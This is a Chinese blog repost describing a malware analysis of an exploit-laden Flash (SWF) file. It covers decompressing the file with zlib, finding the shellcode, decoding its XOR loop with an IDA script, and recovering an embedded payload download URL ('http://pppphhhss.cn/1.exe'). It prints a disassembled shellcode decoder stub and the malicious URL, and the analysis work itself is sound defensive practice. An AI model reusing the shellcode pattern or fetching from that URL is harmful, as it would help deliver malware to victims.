我是靠谱客的博主 细心大白,最近开发中收集的这篇文章主要介绍flash文件shellcode提取,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

 

  1. flash文件shellcode提取
  2. 最近利用flash漏洞的SWF相当的多 提取里面的shellcode进而分析出里面的下载链接 很成问题
  3. 特地下了SWF9文件格式来看了下。。。。
  4. The header begins with a three-byte signature of either 0x46, 0x57, 0x53 (“FWS”); or 0x43,
  5. 0x57, 0x53 (“CWS”). An FWS signature indicates an uncompressed SWF file; CWS
  6. indicates that the entire file after the first 8 bytes (that is, after the FileLength field) was
  7. compressed by using the ZLIB open standard
  8. 上面这段英文的意思就是 SWF文件头由3字节的标识("FWS"或者"CWS")开始。"FWS"标识 表示SWF文件未被压缩
  9. "CWS"则表示 整个文件除开始的八字节外(换句话说,从文件长度域开始)已由开源的ZLIB压缩了
  10. 对于"CWS" 这类的SWF文件 需要解压缩后才可以提取SHELLCODE。"FWS"则可以直接提取
  11. 以今天抓到的一个SWF文件f64.swf为例:
  12. hiew查看二进制标识
  13. 00000000:  43 57 53 FF-FF FF FF 00-78 9C CD 54-5B 50 53 57  CWS???? x£═T[PSW
  14. 00000010:  14 BD F7 26-70 43 00 79-07 99 D1 1A-27 C6 5A 0C  ?╜≈&pC y??╤→'╞Z♀
  15. 既然是压缩过的SWF 接下来需要解压 解压工具是自己写的,可以BAIDU相关工具,
  16. 也可以下载ZLIB 库自己动手写
  17. 解压后:
  18. 46 57 53 FF-68 07 00 00-30 0A 00 A0-00 0C 03 03  FWS?h?  0? á ♀??
  19. 44 11 08 FF-FF 00 43 02-FF FF FF C1-3F 20 BF 01  D???? C????┴? ┐?
  20. 解压后以后IDA载入, 在寻找shellcode起始代码的时候陷入了困境 把SWF格式
  21. 翻了个遍还是不知道,最后公司里的前辈说查找60h就可以了。。。。。
  22. 60h是pushad的机器码 一般shellcode都是以pushad开始。。。。
  23. seg000:000000F2 ; ---------------------------------------------------------------------------
  24. seg000:000000F2                 pusha
  25. seg000:000000F3                 jmp     short loc_10B
  26. seg000:000000F5
  27. seg000:000000F5 ; =============== S U B R O U T I N E =======================================
  28. seg000:000000F5
  29. seg000:000000F5
  30. seg000:000000F5 sub_F5          proc near               ; CODE XREF: sub_F5:loc_10Bp
  31. seg000:000000F5                 pop     ebx
  32. seg000:000000F6                 xor     edx, edx
  33. seg000:000000F8                 mov     ax, 0A789h
  34. seg000:000000FC
  35. seg000:000000FC loc_FC:                                 ; CODE XREF: sub_F5+12j
  36. seg000:000000FC                 xor     [ebx+edx*2], ax
  37. seg000:00000100                 inc     edx
  38. seg000:00000101                 inc     eax
  39. seg000:00000102                 cmp     dx, 151h
  40. seg000:00000107                 jl      short loc_FC
  41. seg000:00000109                 jmp     short loc_110
  42. seg000:0000010B ; ---------------------------------------------------------------------------
  43. seg000:0000010B
  44. seg000:0000010B loc_10B:                                ; CODE XREF: seg000:000000F3j
  45. seg000:0000010B                 call    sub_F5
  46. seg000:00000110
  47. seg000:00000110 loc_110:                                ; CODE XREF: sub_F5+14j
  48. seg000:00000110                 pusha
  49. seg000:00000111                 retn    0A788h
  50. 运气正好 直接就找到了  找到起始代码 下一步就是找下载链接了。。现在的SHELLCODE都是模块设计了
  51. 一般链接都是加密后放在SHELLCODE最后。。。这里还是要先解密
  52. 上面F5H到109H处就是解密算法了 写个IDC脚本就可以了
  53. #include <idc.idc>
  54. static decode(start)
  55. {
  56.     auto key;
  57.     auto count;
  58.     auto ea;
  59.     key = 0xa789;
  60.     count = 0x0;
  61.     for(;count < 0x151; count = count+1)
  62.     {
  63.         ea = Word(start + count*2) ^ key;
  64.         PatchWord(start + count*2, ea);
  65.         key = key + 1;
  66.     }
  67. }
  68. 载入脚本 输入decode(0x110)
  69. 解密完毕
  70. 往后找找 就可以找到下载链接了
  71. seg000:000003B1                 db    0
  72. seg000:000003B2                 db 0DAh ; ?
  73. seg000:000003B3 aHttpPppphhhss_ db 'http://pppphhhss.cn/1.exe',0
  74. 至于SHELLCODE 的详细分析 就没必要写了 就几百字节  IDA 直接看看就出来了
  75. 下附 解压CWS的源码 需要下载ZLIB库才能运行:
  76. #include <stdio.h>
  77. #include <stdlib.h>
  78. #include <string.h>
  79. #include <malloc.h>
  80. #include "zlib.h"
  81. #define MAX_PATH 256
  82. #define SWF_SIGN 4
  83. #pragma comment(lib, "zlib.lib")
  84. void main(int argc, char **argv)
  85. {
  86.     char filename[MAX_PATH];
  87.     char sign[SWF_SIGN];
  88.     char version;
  89.     FILE *prefile;
  90.     FILE *newfile;
  91.     char *prebuffer;
  92.     char *newbuffer;
  93.     unsigned int prelength;
  94.     unsigned int newlength;
  95.     
  96.     if(*(++argv) == NULL)
  97.     {
  98.         printf("enter encode swf: /n");
  99.         scanf("%s", filename);
  100.         fflush(stdin);
  101.     }
  102.     else
  103.     {
  104.         strcpy(filename, *argv);
  105.     }
  106.     
  107.     prefile = fopen(filename, "rb");
  108.     if(!prefile)
  109.     {
  110.         printf("file open error/n");
  111.         return;
  112.     }
  113.     fseek(prefile, 0L, SEEK_END);
  114.     prelength = ftell(prefile);
  115.     rewind(prefile);
  116.     fread(sign, sizeof(char), SWF_SIGN - 1, prefile);
  117.     sign[SWF_SIGN - 1] = '/0';
  118.     if(strcmp(sign, "FWS") == 0)
  119.     {
  120.         printf("it is not cws/n");
  121.         return;
  122.     }
  123.     else if(strcmp(sign, "CWS"))
  124.     {
  125.         printf("it is invalid swf file/n");
  126.         return;
  127.     }
  128.     if((prebuffer = (char *)malloc(prelength)) == NULL)
  129.     {
  130.         printf("malloc error/n");
  131.         return;
  132.     }
  133.     version = fgetc(prefile);   
  134.     fread(&newlength, sizeof(int), 1, prefile);
  135.     if((newbuffer = (char *)malloc(newlength)) == NULL)
  136.     {
  137.         printf("malloc new error/n");
  138.         return;
  139.     }
  140.     fread(prebuffer, sizeof(char), prelength-8, prefile);
  141.     uncompress(newbuffer, &newlength, prebuffer, prelength-8);
  142.     strcat(filename, ".bin");
  143.     newfile = fopen(filename, "wb");
  144.     fwrite("FWS"sizeof(char), strlen("FWS"), newfile);
  145.     fwrite(&version, sizeof(version), 1, newfile);
  146.     fwrite(&newlength, sizeof(int), 1, newfile);
  147.     fwrite(newbuffer, sizeof(char), newlength, newfile);
  148.     fclose(newfile);
  149.     fclose(prefile);
  150.     free(prebuffer);
  151.     free(newbuffer);
  152.     getchar();
  153. }

最后

以上就是细心大白为你收集整理的flash文件shellcode提取的全部内容,希望文章能够帮你解决flash文件shellcode提取所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(36)

评论列表共有 0 条评论

立即
投稿
返回
顶部